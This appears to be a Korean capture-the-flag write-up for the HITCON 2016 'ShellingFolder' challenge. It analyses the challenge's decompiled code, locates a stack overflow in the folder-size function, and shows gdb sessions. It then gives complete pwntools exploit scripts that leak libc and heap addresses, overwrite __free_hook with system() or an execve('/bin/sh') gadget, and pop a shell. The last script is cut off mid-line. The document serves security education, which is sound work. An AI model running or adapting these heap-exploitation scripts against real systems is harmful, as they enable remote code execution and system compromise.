Excuse the ads! We need some help to keep our site up.
List
Infomation
Description
This is a magic folder.
nc 52.69.237.212 4869
Related file
Source Code
Write up
File information
autolycos@ubuntu:~/CTF/HITCON2016/shellingfolder$ file shellingfolder_42848afa70a13434679fac53a471239255753260 shellingfolder_42848afa70a13434679fac53a471239255753260: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=011a2a4e3b9edc0ee9b08578c62ca76dec45ef64, stripped autolycos@ubuntu:~/CTF/HITCON2016/shellingfolder$ checksec.sh --file shellingfolder_42848afa70a13434679fac53a471239255753260 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH shellingfolder_42848afa70a13434679fac53a471239255753260 autolycos@ubuntu:~/CTF/HITCON2016/shellingfolder$
Binary analysis
- 해당 문제를 실행하면 다음과 같은 메뉴를 출력합니다.
1. 현재 폴더를 나열하십시오.
2. 현재 폴더 변경
3. 폴더 만들기
4. 현재 폴더에 파일 만들기
5. 폴더 또는 파일을 제거하십시오.
6. 폴더 크기 계산
7. 종료
************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:
Main
- 해당 문제의 main() 함수기능은 다음과 같습니다.
- PrintMenu()함수를 이용하여 Menu 목록을 출력합니다.
InputNumber()함수를 이용하여 사용자로 부터 사용할 Menu의 번호를 입력 받습니다.
- 메뉴를 출력하기 전에 아래 구조체를 이용해 "rootFolder"를 생성합니다.
struct FileInfo{ struct FileInfo *list[10]; struct FileInfo *parentFolder; char docName[32]; long size; int fileType; }
void __fastcall main(__int64 a1, char **a2, char **a3) { __int64 v3; // rax unsigned int savedregs; // [rsp+10h] [rbp+0h] setSIGALM(); v3 = (__int64)calloc(1uLL, 0x88uLL); rootFolder = (struct FileInfo *)v3; v3 += 88LL; *(_DWORD *)v3 = 'toor'; *(_BYTE *)(v3 + 4) = 0; rootFolder->parentFolder = rootFolder; rootFolder->fileType = 1; gFolder = rootFolder; while ( 1 ) { PrintMenu(); InputNumber(); switch ( (unsigned int)&savedregs ) { case 1u: ListFloder(gFolder); break; case 2u: ChangeFolder(gFolder); break; case 3u: MakeFolder(gFolder); break; case 4u: CreateFile(gFolder); break; case 5u: Remove(gFolder); break; case 6u: Caculate(gFolder); break; case 7u: puts("bye bye"); exit(0); return; default: puts("Invalid choice"); break; } } }
List the current folder
- 해당 함수는 다음과 같은 기능을 합니다.
- "gFolder" 전역변수의 list[]에 저장된 폴더명과 파일명을 출력합니다.
unsigned __int64 __fastcall ListFloder(FileInfo *folder) { signed int i; // [rsp+18h] [rbp-38h] unsigned __int64 v3; // [rsp+48h] [rbp-8h] v3 = __readfsqword(0x28u); if ( !folder ) exit(1); puts("----------------------"); for ( i = 0; i <= 9; ++i ) { if ( folder->list[i] ) { if ( folder->list[i]->fileType ) printf("\x1B[32m%s\x1B[0m\n", folder->list[i]->docName); else puts(folder->list[i]->docName); } } puts("----------------------"); return __readfsqword(0x28u) ^ v3; }
Change the current folder
- 해당 함수는 다음과 같은 기능을 합니다.
- 다음과 같은 방법을 이용해 해당 함수는 "gFolder" 전역변수가 가리리키는 주소 값을 변경합니다.
- 사용자로 부터 찾고자 하는 폴더의 이름을 입력받습니다.
- 입력 값이 ".."과 같다면 "gFolder" 전역변수의 parentFolder의 주소를 "gFolder" 전역변수에 저장합니다.
- 입력 값이 ".."과 같지 않다면 "gFolder" 전역변수의 list[] 변수에 저장된 폴더의 이름을 검색합니다.
- 입력 값과 같은 이름의 폴더가 있으면 해당 폴더의 주소(list[i])를 "gFolder" 전역변수에 저장합니다.
- 입력 값과 같은 이름의 폴더가 없으면 "No such Folder" 문구를 출력합니다.
signed __int64 __fastcall ChangeFolder(FileInfo *folder) { signed int i; // [rsp+1Ch] [rbp-34h] char folderName[40]; // [rsp+20h] [rbp-30h] unsigned __int64 v4; // [rsp+48h] [rbp-8h] v4 = __readfsqword(0x28u); if ( !folder ) exit(-1); printf("Choose a Folder :"); InputName(folderName, 31); if ( !strcmp(folderName, "..") ) { gFolder = folder->parentFolder; puts("successful"); } else { for ( i = 0; i <= 9; ++i ) { if ( folder->list[i] && folder->list[i]->fileType == 1 && !strcmp(folder->list[i]->docName, folderName) ) { gFolder = folder->list[i]; puts("successful"); return 1LL; } } puts("No such Folder"); } return 0LL; }
Make a folder
- 해당 함수는 다음과 같은 기능을 합니다.
- calloc() 함수를 이용해 FileInfo 구조체의 공간을 생성합니다.
- InputName() 함수를 이용해 사용자로 부터 폴더의 이름을 입력 받습니다.
- 다음과 같은 기본적인 설정을 진행합니다.
newFolder→fileType = 1(폴더)
- newFolder→parentFolder = folder(전역변수에 저장된 주소)
- newFolder→size = 0
checkEmptyList() 함수를 이용해 전역변수의 list[]에 새로 생성한 폴더 정보를 저장 할 공간이 있는지 확인합니다.
- calloc() 함수를 이용해 FileInfo 구조체의 공간을 생성합니다.
int __fastcall MakeFolder(struct FileInfo *folder) { int result; // eax FileInfo *newFolder; // [rsp+18h] [rbp-8h] if ( !folder ) exit(1); newFolder = (FileInfo *)calloc(1uLL, 0x88uLL); if ( !newFolder ) { puts("Malloc error!!"); exit(-1); } printf("Name of Folder:", 136LL); InputName((unsigned __int8 *)newFolder->docName, 31); newFolder->fileType = 1; newFolder->parentFolder = folder; newFolder->size = 0LL; if ( (unsigned int)checkEmptyList(folder, newFolder) == 1 ) result = puts("successful"); else result = puts("Failed"); return result; }
Create a file in current folder
- 해당 함수는 다음과 같은 기능을 합니다.
- 해당 함수의 기능은 MakeFolder() 함수의 기능과 일부를 제외하고 동일합니다.
- MakeFolder() 함수의 기능과 다른 부분은 다음과 같습니다.
newFile→fileType = 0(파일)
newFile→size = 사용자가 입력한 숫자 값
int __fastcall CreateFile(FileInfo *folder) { int result; // eax FileInfo *newFile; // [rsp+18h] [rbp-8h] if ( !folder ) exit(1); newFile = (FileInfo *)calloc(1uLL, 0x88uLL); if ( !newFile ) { puts("Malloc error!!"); exit(-1); } printf("Name of File:", 136LL); InputName((unsigned __int8 *)newFile->docName, 31); newFile->fileType = 0; newFile->parentFolder = folder; printf("Size of File:", 31LL); newFile->size = InputNumber(); if ( (unsigned int)checkEmptyList((__int64)folder, (__int64)newFile) == 1 ) result = puts("successful"); else result = puts("Failed"); return result; }
Remove a folder or a file
- 해당 함수는 다음과 같은 기능을 합니다.
- 사용자로 부터 삭제 할 폴더,파일의 이름을 입력받습니다.
- 입력 값은 "gFolder" 전역변수의 list[]에 저장된 docName과 비교합니다.
- 동일한 이름이 있을 경우 FreeFolder() 함수를 호출합니다.
- 해당 list[]에 0을 저장해 기존에 저장되어 있는 정보를 제거합니다.
signed __int64 __fastcall Remove(FileInfo *folder) { signed int i; // [rsp+1Ch] [rbp-34h] char fileName[40]; // [rsp+20h] [rbp-30h] unsigned __int64 v4; // [rsp+48h] [rbp-8h] v4 = __readfsqword(0x28u); if ( !folder ) exit(-1); printf("Choose a Folder or file :"); InputName(fileName, 31); for ( i = 0; i <= 9; ++i ) { if ( folder->list[i] && !strcmp(folder->list[i]->docName, fileName) ) { FreeFolder(folder->list[i], fileName); folder->list[i] = 0LL; return 1LL; } } puts("No such Folder"); return 0LL; }
FreeFolder
- 해당 함수는 다음과 같은 기능을 합니다.
- 삭제할 폴더,파일의 정보를 전달받아 type을 확인합니다.
- 삭제할 대상이 폴더일 경우 해당 폴더 아래에 존재하는 파일과 폴더를 FreeFolder() 함수를 이용해 삭제합니다.
- 하위 파일에 대한 정리가 끝나면 free()함수를 이용해 해당 폴더의 정보를 저장했던 영역을 해제합니다.
- 삭제할 대상이 파일일 경우 free()함수를 이용해 사용한 공간을 해제합니다.
- 삭제할 대상이 폴더일 경우 해당 폴더 아래에 존재하는 파일과 폴더를 FreeFolder() 함수를 이용해 삭제합니다.
- 삭제할 폴더,파일의 정보를 전달받아 type을 확인합니다.
void __fastcall FreeFolder(FileInfo *delFolder, char *fileName) { signed int i; // [rsp+1Ch] [rbp-4h] if ( delFolder ) { if ( delFolder->fileType ) { for ( i = 0; i <= 9; ++i ) { if ( delFolder->list[i] ) FreeFolder(delFolder->list[i], fileName); } free(delFolder); } else { free(delFolder); } } }
Calculate the size of folder
- 해당 함수는 다음과 같은 기능을 합니다.
- "isDocName" 변수의 영역을 0으로 초기화 합니다.
- "gFolder" 전역변수의 size의 주소 값을 ptrSize 포인터 변수에 저장합니다.(ptrSize = &folder->size;)
callMemcopy() 함수를 이용해 folder→list[count]→docName의 내용을 isDocName 변수에 복사합니다.
- "gFolder" 전역변수의 list[]에 저장된 type 정보를 확인합니다.
- type이 폴더(1) 일 경우 *ptrSize 변수에 *ptrSize 값을 저장합니다.
- type이 폴더(0) 일 경우 *ptrSize 변수에 해당 파일의 size값을 더 합니다.
- 취약성을 해당 함수에서 callMemcopy() 함수를 호출하는 부분에서 발생합니다.(Stack overflow)
- "isDocName" 변수의 크기는 24byte 입니다.
- "folder→list[count]→docName" 변수의 크기는 32 byte 입니다.
- 즉, "folder→list[count]→docName"을 이용해서 Stack 영역(*ptrSize)을 덮어쓸 수 있습니다.
- 그리고 파일의 이름을 출력할 때 "isDocName" 변수를 이용하고 있기 때문에 *ptrSize에 저장된 Heap 주소를 추출 할 수 있습니다.
unsigned __int64 __fastcall Caculate(FileInfo *folder) { char isDocName[24]; // [rsp+10h] [rbp-30h] __int64 *ptrSize; // [rsp+28h] [rbp-18h] int count; // [rsp+30h] [rbp-10h] unsigned __int64 v5; // [rsp+38h] [rbp-8h] v5 = __readfsqword(0x28u); if ( !folder ) exit(1); count = 0; memset(isDocName, 0, 32uLL); while ( count <= 9 ) { if ( folder->list[count] ) { ptrSize = &folder->size; callMemcopy(isDocName, folder->list[count]->docName); if ( folder->list[count]->fileType == 1 ) { *ptrSize = *ptrSize; } else { printf("%s : size %ld\n", isDocName, folder->list[count]->size); *ptrSize += folder->list[count]->size; } } ++count; } printf("The size of the folder is %ld\n", folder->size); return __readfsqword(0x28u) ^ v5; }
callMemcopy
- 해당 함수는 다음과 같은 기능을 합니다.
heap변수에 저장된 문자열의 크기를 추출합니다.
- memcpy() 함수를 이용하여 stack변수에 heap변수에 저장된 문자열을 저장합니다.
void *__fastcall callMemcopy(void *stack, const char *heap) { size_t len; // ST28_8 len = strlen(heap); return memcpy(stack, heap, len); }
Debugging
- 다음과 같은 Break point를 설정합니다.
- Caculate() → call memset : Base address + 0x1378
- callMemcopy() → call memcpy : Base address + 0x1331
lazenca0x0@ubuntu:~/CTF/HITCON/ShellingFolder$ gdb -q ./shell* Reading symbols from ./shellingfolder_42848afa70a13434679fac53a471239255753260...(no debugging symbols found)...done. gdb-peda$ handle SIGALRM nopass Signal Stop Print Pass to program Description SIGALRM No Yes No Alarm clock gdb-peda$ b *0x555555554000 + 0x1378 Breakpoint 1 at 0x555555555378 gdb-peda$ b *0x555555554000 + 0x13A5 Breakpoint 2 at 0x555555555378 gdb-peda$ b *0x555555554000 + 0x1331 Breakpoint 3 at 0x555555555331 gdb-peda$
Overflow를 확인하기 위해 다음과 같이 입력합니다.
"4.Create a file in current folder" 기능을 호출 후 "Name of File:"의 값으로 "A * 24 + B * 7"를 입력합니다.
"Calculate the size of folder" 기능을 호출 합니다.
- 다음과 같이 "isDocName[24]" 변수의 변화를 확인 할 수 있습니다.
- memset() 함수에 의해 "isDocName[24]" 영역이 0으로 초기화됩니다.
"ptrSize"(0x7fffffffe138) 영역에 "&folder→size"(0x555555757088)의 주소 값이 저장됩니다.
gdb-peda$ r Starting program: /home/lazenca0x0/CTF/HITCON/ShellingFolder/shellingfolder_42848afa70a13434679fac53a471239255753260 ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:4 Name of File:AAAAAAAAAAAAAAAAAAAAAAAABBBBBBB Size of File:successful ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:6 Breakpoint 1, 0x0000555555555378 in ?? () gdb-peda$ i r rdi rdi 0x7fffffffe120 0x7fffffffe120 gdb-peda$ x/6gx 0x7fffffffe120 0x7fffffffe120: 0x0000555555555820 0x00000006f7a7c7fa 0x7fffffffe130: 0x0000000000000a36 0x00007fffffffe150 0x7fffffffe140: 0x0000555500000000 0x06a271d09477ed00 gdb-peda$ ni 0x000055555555537d in ?? () gdb-peda$ x/6gx 0x7fffffffe120 0x7fffffffe120: 0x0000000000000000 0x0000000000000000 0x7fffffffe130: 0x0000000000000000 0x0000000000000000 0x7fffffffe140: 0x0000555500000000 0x06a271d09477ed00 gdb-peda$ c Continuing. Breakpoint 2, 0x00005555555553a5 in ?? () gdb-peda$ x/6gx 0x7fffffffe120 0x7fffffffe120: 0x0000000000000000 0x0000000000000000 0x7fffffffe130: 0x0000000000000000 0x0000555555757088 0x7fffffffe140: 0x0000555500000000 0x06a271d09477ed00 gdb-peda$
다음과 같이 Stack overflow를 확인 할 수 있습니다.
callMemcopy() 함수의 memcpy()에 의해 "ptrSize"(0x7fffffffe138) 영역이 사용자 입력값으로 덮어썼습니다.
0x555555757088 → 0x0042424242424242
즉, 공격자는 해당 취약성를 이용하여 ptrSize의 값을 마음대로 변경할 수 있습니다.
gdb-peda$ c Continuing. Breakpoint 3, 0x0000555555555331 in ?? () gdb-peda$ x/6gx 0x7fffffffe120 0x7fffffffe120: 0x4141414141414141 0x4141414141414141 0x7fffffffe130: 0x4141414141414141 0x0042424242424242 0x7fffffffe140: 0x0000555500000000 0x06a271d09477ed00 gdb-peda$
Structure of Exploit code
- Payload의 순서는 다음과 같습니다.
- Leak Libc Base
- Leak Heap Address
- offset 추출
- Overflow
- Shell 실행
- 이를 조금더 자세하게 설명하면 다음과 같습니다.
- LeakLibcBase
- "Remove a folder or a file"
"Create a file in current folder"
- "List the current folder"
- Leak Heap Address
- offset 추출
- System()
- "/bin/sh" execve()
- Overflow
Overflow 대상 찾기(__free_hook)
대상 영역에 Overflow
- Shell 실행
- payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
- Leak libc address
- system offset
- Overflow 대상
Information for attack
Leak Libc address
- 다음과 같은 방법으로 Libc address를 추출 할 수 있습니다.
- 우선 폴더를 2개와 파일 1개를 생성합니다.
- 폴더 2개를 이용해 Heap영역에 Libc address를 생성합니다.
- 파일을 이용해 "rootFolder"의 list[1]에 저장된 값을 변경합니다.
- 우선 폴더를 2개와 파일 1개를 생성합니다.
gdb-peda$ r Starting program: /home/lazenca0x0/CTF/HITCON/ShellingFolder/shellingfolder_42848afa70a13434679fac53a471239255753260 ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:3 Breakpoint 2, 0x000055555555501f in ?? () gdb-peda$ i r rax rax 0x5555557570a0 0x5555557570a0 gdb-peda$ c Continuing. Name of Folder:AAAA successful ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:3 Breakpoint 2, 0x000055555555501f in ?? () gdb-peda$ i r rax rax 0x555555757130 0x555555757130 gdb-peda$ c Continuing. Name of Folder:BBBB successful ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:4 Name of File:CCCCCCCCCCCCCCCCCCCCCCCCD Size of File:64 successful ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:
- 다음과 같이 폴더 삭제에 의해 Heap 영역에 Libc address가 생성됩니다.
- 생성된 Libc address는 main_arena의 top 주소 입니다.
- 해당 영역이 unsorted bin에 등록되면서 fd, bk영역에 값이 생성되었습니다.
bk영역을 출력하기 위해서는 "rootFolder"→list[1]의 값이 변경되어야 합니다.
- "rootFolder"→list[1]에 저장되어야 할 주소는 0x5555557570e0 입니다.
bk(0x555555757138) - 0x58 = 0x5555557570e0
- "rootFolder"→list[1]에 저장된 값에서 0x40(64)를 더해야 합니다.
- 0x5555557570e0 - "rootFolder"→list[1]에 저장된 값(0x00005555557570a0) = 0x40(64)
- "rootFolder"→list[1]에 저장되어야 할 주소는 0x5555557570e0 입니다.
Your choice:5 Choose a Folder or file :BBBB Breakpoint 1, 0x0000555555554e11 in ?? () gdb-peda$ x/12gx 0x555555757130 0x555555757130: 0x0000000000000000 0x0000000000000000 0x555555757140: 0x0000000000000000 0x0000000000000000 0x555555757150: 0x0000000000000000 0x0000000000000000 0x555555757160: 0x0000000000000000 0x0000000000000000 0x555555757170: 0x0000000000000000 0x0000000000000000 0x555555757180: 0x0000555555757010 0x0000000042424242 gdb-peda$ ni 0x0000555555554e16 in ?? () gdb-peda$ x/12gx 0x555555757130 0x555555757130: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x555555757140: 0x0000000000000000 0x0000000000000000 0x555555757150: 0x0000000000000000 0x0000000000000000 0x555555757160: 0x0000000000000000 0x0000000000000000 0x555555757170: 0x0000000000000000 0x0000000000000000 0x555555757180: 0x0000555555757010 0x0000000042424242 gdb-peda$ x/gx 0x555555757010 0x555555757010: 0x00005555557570a0 gdb-peda$ x/gx 0x00005555557570a0 + 0x58 0x5555557570f8: 0x0000000041414141 gdb-peda$ x/20gx 0x00005555557570a0 0x5555557570a0: 0x0000000000000000 0x0000000000000000 0x5555557570b0: 0x0000000000000000 0x0000000000000000 0x5555557570c0: 0x0000000000000000 0x0000000000000000 0x5555557570d0: 0x0000000000000000 0x0000000000000000 0x5555557570e0: 0x0000000000000000 0x0000000000000000 0x5555557570f0: 0x0000555555757010 0x0000000041414141 0x555555757100: 0x0000000000000000 0x0000000000000000 0x555555757110: 0x0000000000000000 0x0000000000000000 0x555555757120: 0x0000000000000001 0x0000000000000091 0x555555757130: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 gdb-peda$ p/x 0x555555757138 - 0x58 $3 = 0x5555557570e0 gdb-peda$ p/x 0x5555557570e0 - 0x5555557570a0 $4 = 0x40 gdb-peda$ p/d 0x40 $5 = 64
다음과 같은 방법으로 "rootFolder" 변수의 값을 변경할 수 있습니다.
사용자가 입력한 파일명으로 인해 "ptrSize"에 저장된 주소 값이 1byte 변경되었습니다.
즉, 해당 값을 "rootFolder"의 주소 값으로 변경할 수 있습니다.
'D' 대신 0x10을 전달
Ex) "C" * 24 + 0x10 : 0x0000555555757088 → 0x0000555555757044
gdb-peda$ c Continuing. ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:6 Breakpoint 3, 0x0000555555555331 in ?? () gdb-peda$ x/6gx 0x7fffffffe120 0x7fffffffe120: 0x0000000041414141 0x0000000000000000 0x7fffffffe130: 0x0000000000000000 0x0000555555757088 0x7fffffffe140: 0x0000555500000000 0x6ad1e428fbe39100 gdb-peda$ c Continuing. Breakpoint 3, 0x0000555555555331 in ?? () gdb-peda$ x/6gx 0x7fffffffe120 0x7fffffffe120: 0x4343434343434343 0x4343434343434343 0x7fffffffe130: 0x4343434343434343 0x0000555555757044 0x7fffffffe140: 0x0000555500000002 0x6ad1e428fbe39100 gdb-peda$ set *0x7fffffffe138 = 0x55757010 gdb-peda$ x/6gx 0x7fffffffe120 0x7fffffffe120: 0x4343434343434343 0x4343434343434343 0x7fffffffe130: 0x4343434343434343 0x0000555555757010 0x7fffffffe140: 0x0000555500000002 0x6ad1e428fbe39100 gdb-peda$ x/4gx 0x0000555555757010 0x555555757010: 0x00005555557570a0 0x0000000000000000 0x555555757020: 0x00005555557571c0 0x0000000000000000 gdb-peda$
다음과 같이 파일의 size 값에 의해 "rootFolder"의 list[1]에 저장된 값을 변경할 수 있습니다.
Stack overflow에 의해 ptrSize의 주소는 "rootFolder"→list[1]가 되었습니다.(0x555555757010)
파일의 size(0x40)값이 "rootFolder"→list[1]에 더해 집니다.
0x555555757010: 0x00005555557570a0 +x040 = 0x5555557570e0
- 출력할 폴더의 이름은 free chunk의 bk영역(0x5555557570e0 + 0x58)이 됩니다.
Breakpoint 4, 0x000055555555543e in ?? () gdb-peda$ i r rax rax 0x555555757010 0x555555757010 gdb-peda$ i r rdx rdx 0x5555557570e0 0x5555557570e0 gdb-peda$ x/gx 0x5555557570e0 + 0x58 0x555555757138: 0x00007ffff7dd1b78 gdb-peda$
- 다음과 같이 Libc address를 확인 할 수 있습니다.
Libc address : x??(0x7ffff7dd1b78)
gdb-peda$ c Continuing. The size of the folder is 0 ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:1 ---------------------- x?? CCCCCCCCCCCCCCCCCCCCCCCCD ---------------------- ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:
- 앞에서 확인한 내용은 다음과 같은 코드로 구현 할 수 있습니다.
from pwn import * PWN_FILE = "./shellingfolder_42848afa70a13434679fac53a471239255753260" def Functions(number,name,size): p.sendlineafter(":",str(number)) if (number != 1 or number != 6): p.sendlineafter(":",name) if number == 4: p.sendlineafter(":",str(size)) p = process(PWN_FILE) Functions(3,"AAAA",0) Functions(3,"BBBB",0) Functions(4,"C"*24+p8(0x10),64) Functions(5,"BBBB",0) Functions(6,"",0) Functions(1,"",0) p.recvuntil("----------------------\n") libcAddr = u64(p.recv(6).ljust(8,"\x00")) log.info("Libc Address : " + hex(libcAddr))
autolycos@ubuntu:~/CTF/HITCON2016/Shellingfolder$ python Exploit.py [+] Starting local process './shellingfolder_42848afa70a13434679fac53a471239255753260': Done [*] Libc Address : 0x7f108925f7b8 [*] Stopped program './shellingfolder_42848afa70a13434679fac53a471239255753260'
Leak Heap Address
- Heap Address는 다음과 같은 방법으로 간단하게 추출할 수있습니다.
- "Create a file in current folder"기능에서 파일명으로 문자 24개만 입력합니다.
- "Caculate the size of folder"기능을 호출하여 파일명을 출력할 때 *ptrSize에 저장된 Heap Address도 출력 합니다.
- 이러한 현상이 발생하는 이유는 파일명을 출력하기 위해 "isDocName" 변수와 "*ptrSize" 사이에 공백없기 때문에 하나의 문장으로 인식하기 때문입니다.
Starting program: /home/autolycos/CTF/HITCON2016/Shellingfolder/shellingfolder_42848afa70a13434679fac53a471239255753260 ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:4 Name of File:AAAAAAAAAAAAAAAAAAAAAAAA Size of File:0 successful ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:6 Breakpoint 1, 0x000055555555540a in ?? () (gdb) i r rax rax 0x7fffffffe1b0 140737488347568 (gdb) x/4gx 0x7fffffffe1b0 0x7fffffffe1b0: 0x4141414141414141 0x4141414141414141 0x7fffffffe1c0: 0x4141414141414141 0x0000555555757088 (gdb)
- 다음과 같은 스크립트를 이용하여 추출할 수 있습니다.
... Functions(4,"Z"*24,0) #Create File Functions(6,"",0) #Calc p.recvuntil("Z"*24) heapAddr = u64(p.recv(6).ljust(8,"\x00")) Functions(5,"Z"*24,0) ...
Find target to overwrite
- 해당 문제에서는 다음과 같은 영역을 이용하여 쉽게 코드의 흐름을 변경할 수 있습니다.
- __malloc_hook
- __realloc_hook
- __free_hook
- 여기에서는 "__free_hook"영역을 사용합니다.
- GNU C 라이브러리는 적절한 hook 함수들을 명시함으로써 당신이 malloc,realloc과 free의 행위를 변경할 수 있도록 해준다.
- 이러한 hook들은, 예컨대, 동적 저장소 할당을 사용한 프로그램들을 디버그 하는데 도움을 준다.
- hook 변수들은 'malloc.h'에 선언되어 있다.
____malloc__hook | 이 변수의 값은 malloc이 호출될 때마다 사용하는 함수에 대한 포인터이다. 당신은 이 함수를 malloc과 같은 모양으로 정의할 수 있다. | void *function (size_t size, const void *caller) |
___realloc__hook | 이 변수의 값은 realloc이 호출될 때마다 사용하는 함수에 대한 포인터이다. 당신은 이 함수를 realloc과 같은 모양으로 정의할 수 있다. | void *function (void *ptr, size_t size, const void *caller) |
____free__hook | 이 변수의 값은 free가 호출될 때마다 사용하는 함수에 대한 포인터이다. 당신은 이 함수를 free와 같은 모양으로 정의할 수 있다. | void function (void *ptr, const void *caller) |
Offset(execve("/bin/sh"))
- system()함수에 "sh"를 전달하는 방법 말고 다른 방법도 있습니다.
- system()함수 내에 execve(/"bin/sh")를 호출하는 코드를 이용하는 것입니다.
#define SHELL_PATH "/bin/sh" /* Path of the shell. */ #define SHELL_NAME "sh" /* Name to give it. */ ... if (pid == (pid_t) 0) { /* Child side. */ const char *new_argv[4]; new_argv[0] = SHELL_NAME; new_argv[1] = "-c"; new_argv[2] = line; new_argv[3] = NULL; /* Restore the signals. */ (void) __sigaction (SIGINT, &intr, (struct sigaction *) NULL); (void) __sigaction (SIGQUIT, &quit, (struct sigaction *) NULL); (void) __sigprocmask (SIG_SETMASK, &omask, (sigset_t *) NULL); INIT_LOCK (); /* Exec the shell. */ (void) __execve (SHELL_PATH, (char *const *) new_argv, __environ); _exit (127); } ...
- 해당 코드의 offset은 0x4647c 입니다.
.text:000000000004647C mov rax, cs:environ_ptr_0 .text:0000000000046483 lea rdi, aBinSh ; "/bin/sh" .text:000000000004648A lea rsi, [rsp+188h+var_158] .text:000000000004648F mov cs:dword_3C06C0, 0 .text:0000000000046499 mov cs:dword_3C06D0, 0 .text:00000000000464A3 mov rdx, [rax] .text:00000000000464A6 call execve
Exploit Code
system("sh;")
from pwn import * #context.log_level = 'debug' PWN_FILE = "./shellingfolder_42848afa70a13434679fac53a471239255753260" LIBC_FILE = "/lib/x86_64-linux-gnu/libc.so.6" def List(): p.recvuntil('Your choice:') p.sendline('1') def CreateDir(name): p.recvuntil('Your choice:') p.sendline('3') p.recvuntil('Name of Folder:') p.sendline(name) def CreateFile(name,size): p.recvuntil('Your choice:') p.sendline('4') p.recvuntil('Name of File:') p.send(name) p.recvuntil('Size of File:') p.sendline(str(size)) def Calc(): p.recvuntil('Your choice:') p.sendline('6') def Remove(name): p.recvuntil('Your choice:') p.sendline('5') p.recvuntil('Choose a Folder or file :') p.sendline(name) p = process(PWN_FILE) libc = ELF(LIBC_FILE) #Leak Heap address CreateFile("Z"*24,0) Calc() p.recvuntil("Z"*24) heapAddr = u64(p.recv(6).ljust(8,"\x00")) Remove("Z"*24) #Leak Libc address CreateDir("AAAA") CreateDir("BBBB") CreateFile("C"*24+p8(0x10),64) Remove("BBBB") Calc() List() #Print Libc address p.recvuntil("----------------------\n") libcAddr = u64(p.recv(6).ljust(8,"\x00")) libc.address += libcAddr - 0x3c4b78 systemAddr = libc.symbols['system'] freeHook = libc.symbols['__free_hook'] log.info("Heap Address : " + hex(heapAddr)) log.info("Libc Address : " + hex(libcAddr)) log.info("System() : " + hex(systemAddr)) log.info("__free_hook() : " + hex(freeHook)) #Overflow freeHook -> systemAddr CreateFile("D"*24+p64(freeHook)[:7], (systemAddr & 0xffffffff)) CreateFile("E"*24+p64(freeHook+4)[:7], (systemAddr & 0xffffffff00000000)>>32) #Overflow "GetSh->list[1]" -> "sh;" CreateFile("F"*24+p64(heapAddr+0x2e8)[:7:],0x3b6873) CreateFile("GetSh",0) Calc() #system(sh;) Remove("GetSh") p.interactive()
system()함수 내 execve("/bin/sh") 사용
from pwn import * #context.log_level = 'debug' PWN_FILE = "./shellingfolder_42848afa70a13434679fac53a471239255753260" LIBC_FILE = "/lib/x86_64-linux-gnu/libc.so.6" def List(): p.recvuntil('Your choice:') p.sendline('1') def CreateDir(name): p.recvuntil('Your choice:') p.sendline('3') p.recvuntil('Name of Folder:') p.sendline(name) def CreateFile(name,size): p.recvuntil('Your choice:') p.sendline('4') p.recvuntil('Name of File:') p.send(name) p.recvuntil('Size of File:') p.sendline(str(size)) def Calc(): p.recvuntil('Your choice:') p.sendline('6') def Remove(name): p.recvuntil('Your choice:') p.sendline('5') p.recvuntil('Choose a Folder or file :') p.sendline(name) p = process(PWN_FILE) libc = ELF(LIBC_FILE) #Leak Heap address CreateFile("Z"*24,0) #Create File Calc() p.recvuntil("Z"*24) heapAddr = u64(p.recv(6).ljust(8,"\x00")) Remove("Z"*24) #Leak Libc address CreateDir("AAAA") CreateDir("BBBB") CreateFile("C"*24+p8(0x10),64) Remove("BBBB") Calc() List() p.recvuntil("----------------------\n") #Print Libc address libcAddr = u64(p.recv(6).ljust(8,"\x00")) libc.address += libcAddr - 0x3c4b78 systemAddr = libc.symbols['system'] freeHook = libc.symbols['__free_hook'] execve = libc.address + 0x4647c log.info("Heap Address : " + hex(heapAddr)) log.info("Libc Address : " + hex(libcAddr)) log.info("execve('/bin/sh') : " + hex(execve)) log.info("__free_hook() : " + hex(freeHook)) #Overflow freeHook -> systemAddr CreateFile("D"*24+p64(freeHook)[:7], (execve & 0xffffffff)) #Create File CreateFile("E"*24+p64(freeHook+4)[:7], (execve & 0xffffffff00000000)>>32) 